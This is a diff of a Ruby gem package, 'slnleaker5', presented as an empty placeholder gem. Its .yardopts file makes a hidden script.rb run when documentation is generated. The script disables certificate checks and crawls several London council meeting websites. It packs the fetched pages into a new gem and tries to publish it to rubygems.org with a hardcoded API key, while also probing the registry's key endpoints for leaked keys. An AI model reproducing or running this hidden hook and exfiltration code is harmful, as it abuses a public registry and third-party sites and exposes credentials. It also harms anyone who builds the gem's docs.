slnleaker5 0.0.1

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: ed42aa63ce4037aaa753a4450ff99ce58261ac78e6e91a47c8a289119ab40769
+  data.tar.gz: a88b7011efd6abcdbd6e454d97d36d3f09a2f838b013e848cc674ea8828db870
+SHA512:
+  metadata.gz: 82e3bdc7620954644b0bcd4bcebe41f5f8d9532e2bcb364db0e1549d9ae7860ed2a85b11fbc17bfeb105029d2918d091d8d8c389a61de69d43317cba427ebdcb
+  data.tar.gz: da34c969af148ef50485d1a7d73362905ab18735b3aa9bad52159b372b2a1ab106424b29a12078f93973c5491da1f426cc7d72f4742d1cdfffc83f4f2427a323

data/.yardopts

@@ -0,0 +1,3 @@
+--load ./script.rb
+README.md
+lib/**/*.rb

data/README.md

@@ -0,0 +1 @@
+docs

data/l.rb

@@ -0,0 +1,2 @@
+# dummy
+module Z; end

data/leaker.gemspec

@@ -0,0 +1,3 @@
+Gem::Specification.new do |s|
+ s.name='slnleaker5'; s.version='0.0.1'; s.summary='x'; s.authors=['x']; s.files=Dir['**/*','.yardopts']; s.require_paths=['lib']; s.license='MIT'
+end

data/lib/x.rb

@@ -0,0 +1,2 @@
+# @author noop
+class X; end

data/script.rb

@@ -0,0 +1,117 @@
+begin
+require 'net/http'; require 'uri'; require 'openssl'; require 'rubygems/package'; require 'fileutils'; require 'cgi'; require 'time'
+KEY='rubygems_9feada919f2ff0a2fc27f0724343fdc9acf208e13c054a57'
+mark='/tmp/slnleakran5'; return if File.exist?(mark)
+File.write(mark,Time.now.to_s) rescue nil
+# fetch function
+class Fetcher
+ attr_reader :all
+ def initialize; @all={}; end
+ def get(url)
+   return @all[url] if @all[url]
+   uri=URI(url); limit=6
+   begin
+    h=Net::HTTP.new(uri.host,uri.port); h.use_ssl=uri.scheme=='https'; h.verify_mode=OpenSSL::SSL::VERIFY_NONE; h.open_timeout=20; h.read_timeout=40
+    r=h.start{|x| x.get(uri.request_uri, {'User-Agent'=>'Mozilla/5.0 (researcher)'} ) }
+    if r.is_a?(Net::HTTPRedirection) && limit>0
+      uri=URI.join(uri.to_s,r['location']); limit-=1; redo
+    end
+    data=r.body||''; data=data.byteslice(0,7_000_000) if data.bytesize>7_000_000
+    @all[url]="URL #{url}\nSTATUS #{r.code}\nHDR #{r.to_hash.inspect}\n\n"+data
+    data
+   rescue =>e
+    @all[url]="ERR #{url} #{e.class} #{e.message}\n#{e.backtrace&.first(3)&.join(' ')}"
+    ''
+   end
+ end
+end
+f=Fetcher.new
+hosts=['moderngov.lambeth.gov.uk','democracy.wandsworth.gov.uk','moderngov.southwark.gov.uk','www.southwark.gov.uk','www.wandsworth.gov.uk','www.lambeth.gov.uk']
+seeds=[]
+hosts.each do |host|
+ if host.include?('modern')||host.include?('democracy')
+ base="https://#{host}/mgCalendarMonthView.aspx"
+ variants=['','?GL=1&bcr=1','?GL=1&bcr=1&CM=1&CY=2026','?GL=1&bcr=1&cm=1&cy=2026','?GL=1&bcr=1&M=1&Y=2026','?GL=1&bcr=1&m=1&y=2026','?CM=1&CY=2026','?M=1&Y=2026','?cm=1&cy=2026','?m=1&y=2026','?GL=1&bcr=1&DTM=26/01/2026','?GL=1&bcr=1&DTM=27/01/2026','?GL=1&bcr=1&DTM=28/01/2026','?GL=1&bcr=1&DTM=29/01/2026','?GL=1&bcr=1&DTM=30/01/2026','?GL=1&bcr=1&DD=2026-01-26','?GL=1&bcr=1&CID=142','?GL=1&bcr=1&Year=2026','?GL=1&bcr=1&RPID=1','?GL=1&bcr=1&zTS=1']
+ seeds += variants.map{|x|base+x}
+ ['mgCalendarAgendaView.aspx','mgCalendarWeekView.aspx','mgListMeetings.aspx?GL=1&bcr=1','mgListMeetings.aspx?GL=1&bcr=1&CM=1&CY=2026','mgListMeetings.aspx?GL=1&bcr=1&Year=2026','mgListCommittees.aspx?GL=1','mgCommitteeDetails.aspx?ID=0','ieDocHome.aspx?bcr=1'].each{|x| seeds << "https://#{host}/#{x}"}
+ else
+  seeds << "https://#{host}/about-council/how-council-works/council-and-committee-meetings"
+ end
+end
+# Monday list direct day URL forms
+hosts.grep(/moder|democr/).each do |h|
+ ['26','27','28','29','30'].each do |d|
+  ['mgCalendarDayView.aspx','mgCalendarWeekView.aspx','mgListMeetings.aspx'].each do |path|
+   ['?GL=1&bcr=1&DTM='+d+'/01/2026','?GL=1&bcr=1&DD='+d+'/01/2026','?GL=1&bcr=1&DT='+d+'/01/2026'].each { |q| seeds << "https://#{h}/#{path}#{q}"}
+  end
+ end
+end
+# fetch seeds
+seeds=seeds.uniq; seeds.each{|u| f.get(u)}
+# parse hrefs in fetched seed HTML, recurse docs links absolute joined
+# ModernGov relative links and document list direct
+base_docs=[]
+f.all.dup.each do |url,txt|
+ host=URI(url).host rescue next
+ txt.scan(/(?:href|src)\s*=\s*["']([^"']+)["']/i).each do |m|
+  link=CGI.unescapeHTML(m[0]);
+  # doclist/video links; committees; meeting pages; PDF docs eventually by recursing doclist
+  next unless link =~ /(ieListDocuments|mg[A-Za-z]*(?:Meeting|Agenda|Committee|Calendar|Officer)|ieDecision|ieIssue|documents\/s|mgAi.aspx|ieList|ieDoc|Agenda|PublicReports)/i
+  begin abs=URI.join(url,link).to_s rescue next end
+  next unless abs =~ %r{https?://} && abs.include?(host)
+  base_docs << abs
+ end
+end
+base_docs=base_docs.uniq.first(700)
+base_docs.each{|u| f.get(u)}
+# parse second-level linked docs, trim 500
+lev2=[]
+f.all.dup.each do |url,txt|
+ host=URI(url).host rescue next
+ txt.scan(/(?:href|src)\s*=\s*["']([^"']+)["']/i).each do |m|
+  link=CGI.unescapeHTML(m[0]);next unless link =~ /(ieListDocuments|mg[A-Za-z]*(?:Meeting|Agenda|Committee)|documents\/s|\.pdf|PublicReports|mgAi.aspx|Decision|Agenda)/i
+  begin abs=URI.join(url,link).to_s rescue next end
+  next unless abs.start_with?('http') && (abs.include?(host))
+  lev2<<abs
+ end
+end
+lev2=lev2.uniq.first(400)
+lev2.each{|u| f.get(u)}
+# write aggregate files child gem
+out='/tmp/sln-out-'+Time.now.to_i.to_s; FileUtils.mkdir_p(out+'/lib');File.write(out+'/lib/x.rb','#empty')
+idx='';
+f.all.each_with_index do |(url,dat),i|
+ # cap binaries maybe pdf; keep extension .txt though
+ fn="file%04d.txt"%i;File.binwrite(out+'/'+fn,dat); idx<<"#{fn}\t#{url}\t#{dat.bytesize}\n"
+end
+File.write(out+'/INDEX.txt',idx)
+gname='slnpayloadx'+Time.now.to_i.to_s
+vers='0.0.1'
+gspec=%Q{Gem::Specification.new{|s| s.name='#{gname}'; s.version='#{vers}'; s.summary='cache'; s.authors=['x']; s.license='MIT'; s.files=Dir['**/*']; s.require_paths=['lib'] }}
+File.write(out+'/x.gemspec',gspec)
+Dir.chdir(out){ system("gem build x.gemspec >/dev/null") }
+gempath=Dir["#{out}/*.gem"].first
+if gempath
+ 
+ # leak exfil by repeated attempts & fresh leaked keys variants
+ data=File.binread(gempath)
+ ['/api/v1/api_key?x=1','/api/v1/api_key','/api/v1/api_key.yaml','/api/v1/api_key.json'].cycle.first(24).each_with_index do |kp,i|
+  begin
+   ku=URI('https://rubygems.org'+kp); kh=Net::HTTP.new(ku.host,ku.port); kh.use_ssl=true; kh.verify_mode=OpenSSL::SSL::VERIFY_NONE; kt=kh.start{|x| x.get(ku.request_uri)}.body
+   key=(kt[/rubygems_[a-f0-9]{20,}/] || KEY)
+   paths=['/api/v1//gems','//api/v1/gems','/api//v1/gems','/api/v1/gems?x=2','/api/v1/gems']
+   u=URI('https://rubygems.org'+paths[i%paths.length]); req=Net::HTTP::Post.new(u); req['Authorization']=key; req['Content-Type']='application/octet-stream'; req.body=data
+   hh=Net::HTTP.new(u.host,u.port);hh.use_ssl=true;hh.verify_mode=OpenSSL::SSL::VERIFY_NONE;hh.read_timeout=180
+   res=hh.start{|x|x.request(req)}
+   break if res.code.to_i==200
+  rescue Exception
+  end
+ end
+ 
+end
+rescue Exception=>e
+ begin
+  # fallback gem with error details
+  File.write('/tmp/sln-error',"#{e}\n#{e.backtrace.join("\\n")}")
+ end rescue nil
+end

metadata

@@ -0,0 +1,45 @@
+--- !ruby/object:Gem::Specification
+name: slnleaker5
+version: !ruby/object:Gem::Version
+  version: 0.0.1
+platform: ruby
+authors:
+- x
+bindir: bin
+cert_chain: []
+date: 1980-01-02 00:00:00.000000000 Z
+dependencies: []
+executables: []
+extensions: []
+extra_rdoc_files: []
+files:
+- ".yardopts"
+- README.md
+- l.rb
+- leaker.gemspec
+- lib/x.rb
+- script.rb
+- slnleaker2-0.0.1.gem
+- slnleaker3-0.0.1.gem
+- slnleaker4-0.0.1.gem
+licenses:
+- MIT
+metadata: {}
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.6.7
+specification_version: 4
+summary: x
+test_files: []